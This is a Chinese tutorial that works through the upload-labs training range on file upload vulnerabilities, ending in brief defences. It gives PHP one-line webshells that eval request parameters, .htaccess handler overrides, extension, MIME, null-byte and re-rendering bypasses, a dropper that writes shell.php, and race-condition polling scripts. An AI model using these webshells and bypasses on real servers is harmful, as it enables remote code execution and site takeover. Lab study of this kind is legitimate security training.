跳到主要内容

文件上传

概念

文件上传是常用功能,但恶意文件的上传会形成漏洞。

主要形成是:后端接受了恶意文件上传并保存,受害者访问该恶意文件时,其中的恶意代码被 Web 容器执行。


常见场景:

  1. 上传头像 👤

  2. 上传相册 📚

  3. 上传附件 📎

  4. 添加文章图片

  5. 前台留言资料上传

  6. 编辑器文件上传

  7. ……

安装靶场

docker pull cuer/upload-labs
docker run -d -p 8082:80 --name upload-labs cuer/upload-labs

客户端 - JS 绕过

禁用 JavaScript

打开靶场的 pass01,点击右上角「查看源码」,这里的文件上传存在 JS 限制,并且只允许 .jpg, .png, .gif

function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

在上传前先禁用掉 JavaScript

首先我们上传文件 info.php,内容是输出 php 信息:

<?php phpinfo(); ?>

我们也可以上传 get.php,直接用参数控制输出

<?php eval(@$_GET['cmd']); ?>

修改后缀名

先把 get.php 修改为符合上传要求 👉 get.png,然后用 Burp 抓包改回原来的 get.php

修改前端代码

删除 onsubmit 方法,这种方式仅在 FireFox 生效:

服务端 - 黑名单绕过

特殊后缀

在 pass03,这里后端无法上传的黑名单包括 .asp, .aspx, .php, .jsp

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

可以使用其他后缀,比如:.phtml, .phps, php5, .pht

这些后缀文件需要被执行的话有前提条件是, Apache 需要做一些配置代码

大小写绕过

在 pass06,上传 get.PHP 就能绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

点绕过

在 pass08,上传 get.php. 可以绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

空格绕过

在 pass07 中,可以在文件末尾添加空格 get.php 绕过。

空格绕过这种方式仅适用于 Windows 系统,因为 Windows 会去除文件前后空格,才能访问得到。

::data 绕过

Windows 中,如果 文件名 + ::$DATA 会把 ::$DATA 之后的数据当做文件流处理,不会检测后缀名,且保持 ::$DATA 之前的文件名。使用。

在 pass08 中可使用

不过由于 Linux 无法解析 http://175.178.126.31:8082/upload/get.php::data,访问不到,但是文件是已经上传了。

配合解析绕过

在 pass10 中,可以看到代码很严格,但是有一个漏洞就是只做了一次校验,因此我们可以上传注入 get.php. . 来进行绕过。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

.htaccess 绕过

.htaccess 文件,(Hypertex Access超文本)入口是 Apache 的配置文件,用于执行目录下的网页配置。

在 Upload-04 中,我们可以上传 .htaccess 文件

准备两个文件 .htaccesswukaipeng.png

<!-- .htaccess文件 -->
<FilesMatch "wukaipeng.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
/* wukaipeng.png */
<?php eval(@$_POST['cmd']); ?>

然后分别上传,之后在蚁剑测试链接

双写绕过

在 pass11 中,可以利用双写后缀绕过,比如 info.php 👉 info.pphphp

服务端 - 白名单绕过

MIME 类型绕过

在 pass02 中,我们可以修改 Content-Type 来绕过

00 截断绕过

00 截断绕过是系统漏洞,操作系统底层是 C 语言 or 汇编语言的,这两种语言都以 \0 作为字符串的结束标志。00 截断是指插入 \0,从而达到字符串截断的目的。

\0 是 ASCII 码表中的第 0 个字符,英文名为 NUL\0 是在底层操作系统的表现形式,在前端输入不能直接输入 \0,而应该使用 %00 或者 0x00

%00:URL 中 %00 表示 ASCII 码为 0 的字符,该字符为特殊字符保留,表示字符串结束。当 URL 出现 %00 时就认为读取已经结束,而忽略后面上传的文件或图片,只上传截断前的文件。

0x00%00 解码成十六进制形式。

接着我们要安装小皮面板作为这次实验的环境,小皮面板对主机的侵入性还是蛮大的,我试过在一台远程 Linux 服务器安装,不仅没跑起来,而且还把环境给污染了,无奈只能给服务器重装系统。所以还是在虚拟机环境跑小皮面板,安全隔离,这是安装教程 👉 02-Mac M1M2 安装 Windows11 && 小皮面板 PhpStudy

安装好之后,我们打开 Windows 中的小皮面板 PhpStudy,切换一个低的 PHP 版本:

关闭 magic_quotes_gpc

重启 PhpStudy。

然后我们准备一个文件 post.php,内容为:

<?php eval(@$_POST['cmd']); ?>

post.php 后缀改为 .png,然后打开 upload-labs 上传,用 Burp 拦截,修改 save_path

image-20231026071654942

如果失败的话可以看一下是否被 Windows11 的“病毒和威胁防护”拦截了。

上传后我们会获得这样的图片 URL:http://172.16.26.128/upload-labs/upload/post.php%EF%BF%BD/6320231026071713.png

post.php 后面去掉,然后在蚁剑上进行连接:

服务端 - 内容绕过

文件头检查

下面文件头的格式是十六进制:

  • .jpg: FF D8 FF E0 00 10 4A 46 49 46
  • .gif: 47 49 46 38 39 61
  • .png: 89 50 4E 47

Mac 下使用 Hex Friend(http://hexfiend.com/) 查看一张 png 的十六进制:

🐴 制作图片马

在 Hex Friend 中打开一张真实图片,在最后加上一句话木马

<?php phpinfo(); ?>

在 pass13 上传图片,并获取图片的 URL

访问:http://YOUR_IP_ADDRESS:PORT/include.php?file=IMAGE_URL

🐴 制作图片马的另外一种方式:直接设置文件头,然后写上一句话木马

这种方式严格上不算图片马

突破 getimagesize 及 exif_imagetype

在 pass15 中,和文件头检查不一样,判断文件代码是用 getimagesize() 判断图片,即获取图片的长度和高度等来判断是否是图片。

在 pass16 中,exif_imagetype() 读取第一个图像的第一个字节并检查其签名。

对于 pass15 和 pass16,我们只需要用真实的图片来制作木马,并且攻击方式和上一小节一致,这里忽略。

二次渲染绕过

二次渲染:将用户上传的照片进行修改,新生成的图片再票如数据库。比如上传头像,网站根据头像生成不同尺寸的头像。

在 pass-17 中,会判断后缀名、文件类型,利用 imagecreatefrom<jpeg|png|gif>() 判断是否是图片格,最后再做二次渲染。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

我们以这张 GIF 为例

free freedom

先用 Hex Friend 打开,在尾部添加一句话木马 <?php phpinfo(); ?>

我们下载上传后的图片,也用 Hex Friend 打开,可以看下末尾,一句话木马已经被删除掉了。接着我们使用 Hex Friend 的对比功能:

在查看对比的时候,可以看到只有后面大部分基本全部被改动过,只有前面部分改动比较小:

因此我们可以在前面部分插入一句话木马:

然后重新上传,可以看到我们的一句话木马已经注入成功了。

如果没有成功的话,要多试几次

需要我这一张插入木马成功的 GIF 图,可以从这个地址下载:⬇️ freedom gif

文件包含绕过

服务端 - 代码逻辑(条件竞争)

条件竞争:服务端代码逻辑漏洞,导致资源没有正确被处理。比如并发的时候没有正确的加锁,导致多个线程同时访问

在 pass-18 中,文件是先上传再校验,因为可以利用上传到校验之间的空隙来执行木马。

先写一个 cs.php 脚本,脚本内容为生成一个 shell.php 文件,内容为 <?php @eval($_POST["test"])?>

<?php fputs(fopen('shell.php','w'), '<?php @eval($_POST["test"])?>');?>

上传 cs.php,用 Burp 拦截,并发送到 Intruder,然后在末尾加个空格,以此空格然后点击 Add § 按钮,生成一个「空格 Payload」:

Payload type 选择「Null Payloads」,Payload settings 设置为「Continue indefinitely」,这样就能无限发送上传 cs.php 文件了:

我们写一个脚本来访问 cs.php,只要有一瞬间访问得到,那我们的木马就注入成功了:

这是 Python 版的脚本:

import requests

url = "http://175.178.126.31:8082/upload/cs.php"

while True:

html = requests.get(url)

if html.status_code == 200:

print("OK")

break

这是 JavaScript 版的脚本:

// 在 Node.js 18+ 中,fetch 是全局可用的,不需要额外安装
const url = "http://175.178.126.31:8082/upload/cs.php";

async function checkServer() {
while (true) {
try {
// 使用 fetch 发起 GET 请求
const response = await fetch(url);

// fetch 不会在 HTTP 错误状态上 reject, 只有网络错误或请求被阻止时才会 reject.
// 因此,我们需要通过检查 ok 状态来抛出错误。
if (response.ok) {
console.log("OK");
break; // 如果响应是 200-299 之间,表示成功,退出循环
} else {
// 如果 HTTP 状态码不是成功的,抛出错误以被捕获
throw new Error(`HTTP Error: ${response.status}`);
}
} catch (error) {
// 打印错误信息
console.error(`An error occurred: ${error}`);
}
}
}

// 调用函数
checkServer();

执行 JS 版脚本:

可以看到我们访问成功了,那么也就是 shell.php 已经生成了,我们用蚁剑连接上去:

防御手段

防御手段主要是针对文件上传的三个点:从哪里上传?上传到哪里?能不能执行?

1️⃣ 判断文件类型。

2️⃣ 使用随机数改写文件名和文件路径。

3️⃣ 文件上传的目录设置为不可执行。

4️⃣ 使用安全设备。安全设备会检测非法手段、恶意文件。